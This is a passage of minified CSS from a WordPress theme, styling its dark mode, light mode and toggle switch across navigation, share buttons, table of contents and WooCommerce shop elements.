.mp-link:not(.penci-lazy){background-color:rgba(0,0,0,.5)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .mp-link:before{background-color:var(--obg)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .mp-link:hover:before{background-color:var(--ohbg)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mpct:hover~.mp-link:before{background-color:var(--ohbg)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mc .pc-fho-mm a,body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mc .pc-fho-mt a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mi-i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mi-i a{color:inherit}body.pcdm-enable.pcdark-mode .pc-fho-mpct .grid-post-box-meta a,body.pcdm-enable.pcdark-mode .pc-fho-mpct .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .pc-fho-wrap .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm a,body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm span,body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lt a{color:var(--pctext-cl)}@media only screen and (max-width:767px){body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mp:before{background-color:var(--obg)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-mp:hover:before{background-color:var(--ohbg)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lm span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-li .cat>a.penci-cat-name{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-fho-wrap .pc-fho-lt a{color:var(--pcheading-cl)}}body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title,body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .elementor-element .pcbg-content-inner .pcbg-title a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcnew-share.penci-icon-full .post-share-item i,body.pcdm-enable.pcdark-mode .pcnew-share:not(.penci-icon-full) .post-share-item{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcnew-share .post-share-plike{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcnew-share.border-style .post-share-plike{background-color:transparent;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-txt.post-share a .dt-share{background-color:transparent}body.pcdm-enable.pcdark-mode .show-txt.focus-icon .post-share-item i{background-color:rgba(0,0,0,.5)}body.pcdm-enable.pcdark-mode .show-txt.focus-icon .post-share-item.post-share-plike i{background-color:transparent}body.pcdm-enable.pcdark-mode .show-txt.txt-below.post-share a .dt-share{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .show-txt.border-style.post-share a .dt-share{color:var(--pctext-cl);border-color:rgba(0,0,0,.1)}body.pcdm-enable.pcdark-mode .black-ver .post-share-item,body.pcdm-enable.pcdark-mode .black-ver .post-share-item i{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box-n19.pcnew-share.border-style .post-share-item i,body.pcdm-enable.pcdark-mode .tags-share-box-n20 .post-share-item i,body.pcdm-enable.pcdark-mode .tags-share-box-n20.pcnew-share.border-style .post-share-item i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i,body.pcdm-enable.pcdark-mode .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i{background-color:transparent}body.pcdm-enable.pcdark-mode .tags-share-box-n20 .post-share-item i:after{border-color:transparent transparent transparent transparent}body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:after,body.pcdm-enable.pcdark-mode .pcnew-share .penci-social-share-text:before{border-color:transparent transparent transparent var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .tags-share-box-n19.post-share a.penci-post-like,body.pcdm-enable.pcdark-mode .tags-share-box-n20.post-share a.penci-post-like{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcnew-share.penci-social-colored .post-share-item.post-share-plike{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcnew-share.penci-social-colored .post-share-item.post-share-plike .count-number-like,body.pcdm-enable.pcdark-mode .post-share.tags-share-box-n14 .count-number-like{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pcnew-share.border-style .post-share-item i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s1 .pcmt-icon{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s2 .pcmt-icon{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s3 .pcmt-icon{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s3 .pcmt-icon:after{border-color:transparent transparent transparent var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s4 .pcmt-icon:before{border-color:transparent transparent transparent #fff}body.pcdm-enable.pcdark-mode .post-box-meta-single.style-s4 .pcmt-icon:after{border-color:transparent transparent transparent var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s1 .term-labels,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s1 .pctmp-term-item{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s2 .term-labels,body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s3 .term-labels,body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s4 .term-labels,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s2 .pctmp-term-item,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s3 .pctmp-term-item,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pctmp-term-list.label-style-s4 .term-labels,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .pctmp-term-list .pctmp-term-item.current-item,body.pcdm-enable.pcdark-mode .pctmp-term-list .pctmp-term-item:hover,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item.current-item,body.pcdm-enable.pcdark-mode .pctmp-term-list.term-style-s4 .pctmp-term-item:hover{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl);color:#fff}body.pcdm-enable.pcdark-mode .pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i,body.pcdm-enable.pcdark-mode .penci-social-colored .post-share-item.post-share-expand i,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand{background-color:var(--pcbg-cl);color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike .count-number-like,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat.s1 .cat>.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-standard-cat.s2 .cat>.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-standard-cat.s3 .cat>.penci-cat-name,body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat>.penci-cat-name{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat.s2 .cat>.penci-cat-name{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat.s3 .cat>.penci-cat-name{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat>.penci-cat-name{background-color:transparent;color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-standard-cat.s4 .cat>.penci-cat-name:hover{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-toc-wrapper{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s2{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-toc-wrapper .penci-toc-title-toggle{background-color:var(--pcmeta-cl);color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s2 .penci-toc-title-toggle{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-toc ul a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-toc ul a:hover,body.pcdm-enable.pcdark-mode .penci-toc ul li.active>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-toc-wrapper.s3{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .pcsb-ft-o .cat>a.penci-cat-name,body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .pcsb-ft-o .container.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .author-post span,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .author-post span a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .pc_titlebig_standard,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .pc_titlebig_standard a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard .post-title,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard h2,body.pcdm-enable.pcdark-mode .pcsb-ft-o .header-standard h2 a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb i,body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb span,body.pcdm-enable.pcdark-mode .pcsb-ft-o .penci-container-inside.penci-breadcrumb span a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single a,body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single span,body.pcdm-enable.pcdark-mode .pcsb-ft-o .post-box-meta-single span i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-share.pcnew-share .count-number-like,body.pcdm-enable.pcdark-mode .post-share.tags-share-box-2_3.post-share .count-number-like,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .post-share.pcnew-share.border-style .count-number-like{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li a{color:inherit}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li i{color:inherit}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li:hover>a,body.pcdm-enable.pcdark-mode .pcnav-lgroup ul li>a.clactive{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pcnav-lgroup ul ul li a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .pcnav-lgroup{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation,body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation:after,body.pcdm-enable.pcdark-mode .penci-loading-animation-1 .penci-loading-animation:before,body.pcdm-enable.pcdark-mode .penci-loading-animation-5 .penci-loading-animation,body.pcdm-enable.pcdark-mode .penci-loading-animation-6 .penci-loading-animation:before,body.pcdm-enable.pcdark-mode .penci-loading-animation-7 .penci-loading-animation,body.pcdm-enable.pcdark-mode .penci-loading-animation-8 .penci-loading-animation,body.pcdm-enable.pcdark-mode .penci-loading-animation-9 .penci-loading-circle-inner:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-three-bounce .one,body.pcdm-enable.pcdark-mode .penci-three-bounce .three,body.pcdm-enable.pcdark-mode .penci-three-bounce .two{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-loading-animation-1>div{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-widget-user-lists .count{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci_posts_tabs_widget .tabs ul>li.active a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci_posts_tabs_widget .author-info{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci_snapchat_widget .pc-snapchat-avatar{background-color:transparent}body.pcdm-enable.pcdark-mode .penci_snapchat_widget .pc-snapchat-wrapper a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-tiktok-verified{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-tweets-lists .tweet-intents-inner>span a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .pc-widget-advanced-tax.tax-style-1.hlmark .category-item-count{background-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-wstories-wrapper .pc-webstory-thumb-wrapper{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-wstories-wrapper .pc-webstory-item.seen .pc-webstory-thumb-wrapper{background-color:gray}body.pcdm-enable.pcdark-mode .pc-wstories-popup-wrapper{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-wstories-popup-wrapper .pc-ws-btn{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-social-wrap .penci-social-item,body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-social-wrap .penci-social-item i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li.featured-news2 .side-item .side-item-text,body.pcdm-enable.pcdark-mode .widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-biggrid .penci-bgitin{background-color:transparent!important;border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element .pcbg-bgoverlaytext.active-overlay{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element:not(.elementor-motion-effects-element-type-background)>.elementor-widget-wrap,body.pcdm-enable.pcdark-mode .elementor .elementor-element>.elementor-widget-wrap>.elementor-motion-effects-container>.elementor-motion-effects-layer{background-color:transparent!important}body.pcdm-enable.pcdark-mode .navigation .menu .children,body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .cat>a.penci-cat-name{color:var(--pcaccent-cl)!important}body.pcdm-enable.pcdark-mode .navigation .menu .children,body.pcdm-enable.pcdark-mode .navigation .menu .sub-menu,body.pcdm-enable.pcdark-mode .navigation ul.menu ul.sub-menu li a{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .post-mega-title a,body.pcdm-enable.pcdark-mode .pc-builder-element .navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .elementor-element .penci-pagination.penci-ajax-more a.penci-ajax-more-button{color:#fff;background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .elementor-element .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover,body.pcdm-enable.pcdark-mode .penci-recipe-action-buttons .penci-recipe-button:hover,body.pcdm-enable.pcdark-mode .penci-recipe-tagged .prt-icon span{color:#fff;background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover .ajaxdot,body.pcdm-enable.pcdark-mode .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover i{color:#fff}body.pcdm-enable.pcdark-mode .penci-woo-before-main-content .penci-products-per-page span,body.pcdm-enable.pcdark-mode .single-product-share a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sticky-cart,body.pcdm-enable.pcdark-mode .single-product-share a{background-color:var(--pcbg-l-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .jq-toast-single a{border-color:transparent}.pc_dm_switch{position:relative;display:block;width:45px;height:25px}.pc_dm_switch input{opacity:0;width:0;height:0}.pc_dm_switch .slider{position:absolute;cursor:pointer;top:0;left:0;right:0;bottom:0;background-color:var(--pcdm_btnbg);transition:.4s}.pc_dm_switch .slider:before{color:var(--pcdm_btnd);background-color:var(--pcdm_btndbg);font-family:penciicon;font-size:14px!important;position:absolute;content:"\f117";height:19px;line-height:20px;width:19px;text-align:center;left:3px;bottom:3px;box-shadow:0 1px 3px rgba(0,0,0,.3);transition:.25s}body.pcdark-mode .pc_dm_switch .slider{background-color:hsla(0,0%,100%,.3)}body.pcdark-mode .pc_dm_switch .slider:before{content:"\f116";transform:translateX(19px);color:var(--pcdm_btnn);background:var(--pcdm_btnnbg)}.pc_dm_switch .slider.round{border-radius:25px}.pc_dm_switch .slider.round:before{border-radius:50%}#navigation .pc_dm_mode,.penci-top-bar .pc_dm_mode{float:right;margin-left:12px;height:58px;display:flex;align-items:center;transition:.3s}body.rtl #navigation .pc_dm_mode{margin-left:0;margin-right:12px;float:left}#navigation.header-4 .pc_dm_mode,#navigation.header-5 .pc_dm_mode,body.rtl #navigation.header-4 .pc_dm_mode,body.rtl #navigation.header-5 .pc_dm_mode{float:none;display:inline-flex}@media only screen and (min-width:961px){#navigation.header-10 .pc_dm_mode,#navigation.header-11 .pc_dm_mode,#navigation.header-6 .pc_dm_mode{height:80px}}.is-sticky #navigation.header-10 .pc_dm_mode,.is-sticky #navigation.header-11 .pc_dm_mode,.is-sticky #navigation.header-6 .pc_dm_mode{height:58px}.penci-top-bar .pc_dm_mode{height:32px}@media only screen and (max-width:960px){#navigation .pc_dm_mode{height:58px;line-height:58px}}.penci-top-bar .pc_dm_mode .pc_dm_switch .slider{background-color:rgba(255,255,255,.1)}body.pcdark-mode .penci-show-ondark,body.pclight-mode .penci-show-onlight{display:block}body.pcdark-mode .penci-show-onlight,body.pclight-mode .penci-show-ondark{display:none}.pc_dm_mode.style_2 .pc_dm_switch:after,.pc_dm_mode.style_2 .pc_dm_switch:before{content:"\f116";font-family:penciicon;font-size:14px!important;position:absolute;left:-18px;top:50%;transform:translateY(-50%);color:var(--pcdm_btnd)}.pc_dm_mode.style_2 .pc_dm_switch:after{content:"\f117";left:auto;right:-18px;color:var(--pcdm_btnn)}.pc_dm_mode.style_2 .pc_dm_switch .slider:before{content:''}.pc_dm_mode.style_2{padding-left:18px;padding-right:18px}.pc_dm_mode.style_3 .pc_dm_switch{width:25px}.pc_dm_mode.style_3 .pc_dm_switch .slider.round,.pc_dm_mode.style_3 .pc_dm_switch .slider.round:after,.pc_dm_mode.style_3 .pc_dm_switch .slider.round:before{border-radius:50%}body.pcdark-mode .pc_dm_mode.style_3 .pc_dm_switch .slider:before{transform:none}.pc_dm_mode.style_4 .pc_dm_switch{width:25px}.pc_dm_mode.style_4 .pc_dm_switch .slider.round,.pc_dm_mode.style_4 .pc_dm_switch .slider.round:after,.pc_dm_mode.style_4 .pc_dm_switch .slider.round:before{border-radius:0;box-shadow:unset;background-color:transparent}.pc_dm_mode.style_4 .pc_dm_switch .slider{box-shadow:none}body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider:before{transform:none;box-shadow:none;background:var(--pcdm_btnnbg)}body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider{color:var(--pcdm_btnn);background:var(--pcdm_btnnbg)}.penci-top-bar .pc_dm_mode.style_4 .pc_dm_switch .slider,body.pcdark-mode .pc_dm_mode.style_4 .pc_dm_switch .slider{background:0 0}body.pcdark-mode .pcbtn-wrapper a.pcbtn,body.pcdark-mode .penci-dmcheck:not(.penci-elbg-img) .pcbtn-wrapper a.pcbtn{background:var(--pcaccent-cl);border-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation.header-11>.container{background:var(--pcbg-cl)!important}body.pcdm-enable.pcdark-mode .quick-shop-shown .quick-shop-wrapper{background-color:rgba(55,55,55,.95)}body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select,body.pcdm-enable.pcdark-mode .variations select,body.pcdm-enable.pcdark-mode .woocommerce-ordering select{border-color:rgba(0,0,0,.9);background-color:transparent;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-header-cart-detail,body.pcdm-enable.pcdark-mode .penci-header-cart-detail .woocommerce-mini-cart__buttons.buttons,body.pcdm-enable.pcdark-mode .penci-header-cart-detail .woocommerce-mini-cart__total.total{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select option,body.pcdm-enable.pcdark-mode .variations select option,body.pcdm-enable.pcdark-mode .woocommerce-ordering select option{background-color:transparent;color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode div.quantity input[type=button],body.pcdm-enable.pcdark-mode div.quantity input[type=number]{background:0 0}body.pcdm-enable.pcdark-mode .penci-top-relate-post ul li.item-shop-link svg{fill:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-cart .sidecart-heading,body.pcdm-enable.pcdark-mode .penci-sidebar-filter .sidefilter-heading{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-cart,body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-buttons-group,body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-total-group,body.pcdm-enable.pcdark-mode .penci-sidebar-filter{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .woocommerce table.shop_table td.product-name a,body.pcdm-enable.pcdark-mode .woocommerce table.shop_table th{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .select2-container--default .select2-selection--single,body.pcdm-enable.pcdark-mode .select2-dropdown,body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-error,body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-info,body.pcdm-enable.pcdark-mode .woocommerce .woocommerce-message,body.pcdm-enable.pcdark-mode .woocommerce-checkout #payment ul.payment_methods,body.pcdm-enable.pcdark-mode.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner .woocommerce-checkout-payment,body.pcdm-enable.pcdark-mode.woocommerce-checkout form.checkout.woocommerce-checkout .woocommerce-checkout-review-order-inner table{background-color:var(--pcbg-l-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .woocommerce table.shop_table a.remove,body.pcdm-enable.pcdark-mode .woocommerce table.shop_table a.remove:before{color:var(--pctext-cl)!important}body.pcdm-enable.pcdark-mode .woocommerce .input-text,body.pcdm-enable.pcdark-mode .woocommerce form .form-row .input-text,body.pcdm-enable.pcdark-mode.woocommerce-cart table.cart td.actions .coupon .input-text{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .woocommerce button.button{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .select2-container--default .select2-results__option[aria-selected=true],body.pcdm-enable.pcdark-mode .select2-container--default .select2-results__option[data-selected=true]{background-color:var(--pcbg-d-cl)}body.pcdm-enable.pcdark-mode .penci-products-tabs .products-tabs-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-sidebar-cart .penci-woo-cart-total-group,body.pcdm-enable.pcdark-mode .products.product-list .penci-soledad-product .penci-product-loop-inner-content{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .woocommerce-product-gallery .penci-thumbnail-slider .penci-custom-thumbnail-nav button{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode.woocommerce div.product div.images .woocommerce-product-gallery__trigger{background-color:var(--pcbg-d-cl)}body.pcdm-enable.pcdark-mode.woocommerce div.product div.images .woocommerce-product-gallery__trigger:hover{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .product .woocommerce-accordion-item #respond .comment-reply-title,body.pcdm-enable.pcdark-mode .woocommerce div.product .product_title,body.pcdm-enable.pcdark-mode .woocommerce-accordion-item .penci-review-style-default #comments .woocommerce-Reviews-title,body.pcdm-enable.pcdark-mode.woocommerce div.product .product_title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci-content-quickview{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-slider .penci-custom-thumbnail-nav button:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-top-relate-post .inner-content{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .woocommerce div.product form.cart .button,body.pcdm-enable.pcdark-mode.woocommerce div.product form.cart .button{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .hotspot-content{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-widget-layered-nav-dropdown-form select,body.pcdm-enable.pcdark-mode .variations select,body.pcdm-enable.pcdark-mode .woocommerce-ordering select{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode.woocommerce .widget_layered_nav_filters ul li a:before{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-woo-before-main-content .penci-products-per-page a.current-variation{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-df.pclight-mode #navigation,body.pcdm-enable.pcdark-df.pclight-mode .show-search{background:var(--pcbg-cl)}body.pcdm-enable.pcdark-df.pclight-mode #navigation,body.pcdm-enable.pcdark-df.pclight-mode #navigation.header-layout-bottom{border-color:var(--pcborder-cl)}#navigation .button-menu-mobile,body.pcdm-enable.pcdark-df.pclight-mode .header-social a i,body.pcdm-enable.pcdark-df.pclight-mode .main-nav-social a,body.pcdm-enable.pcdark-df.pclight-mode .pcheader-icon>a,body.pcdm-enable.pcdark-df.pclight-mode .top-search-classes a.cart-contents{color:var(--pctext-cl)}body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .penci-sidebar-content .widget-title{background:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar tbody td a,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .about-widget .about-me-heading,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .menu li a,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget a,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select option,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a i,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a span,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social.show-text a span,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget.widget_archive ul li,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget.widget_categories ul li,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg form.pc-searchform input.search-input{color:var(--pctext-cl)}body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #respond input,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #respond textarea,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar tbody td,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg #wp-calendar thead th,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .menu li,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .penci-home-popular-posts,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget .tagcloud a,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type=date],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type=email],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type=number],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type=search],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget input[type=text],body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget select,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul li,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget ul ul,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget-social a i,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .widget_wysija input,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .wpcf7 input,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg .wpcf7 textarea,body.pcdm-enable.pcdark-df.pclight-mode .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form 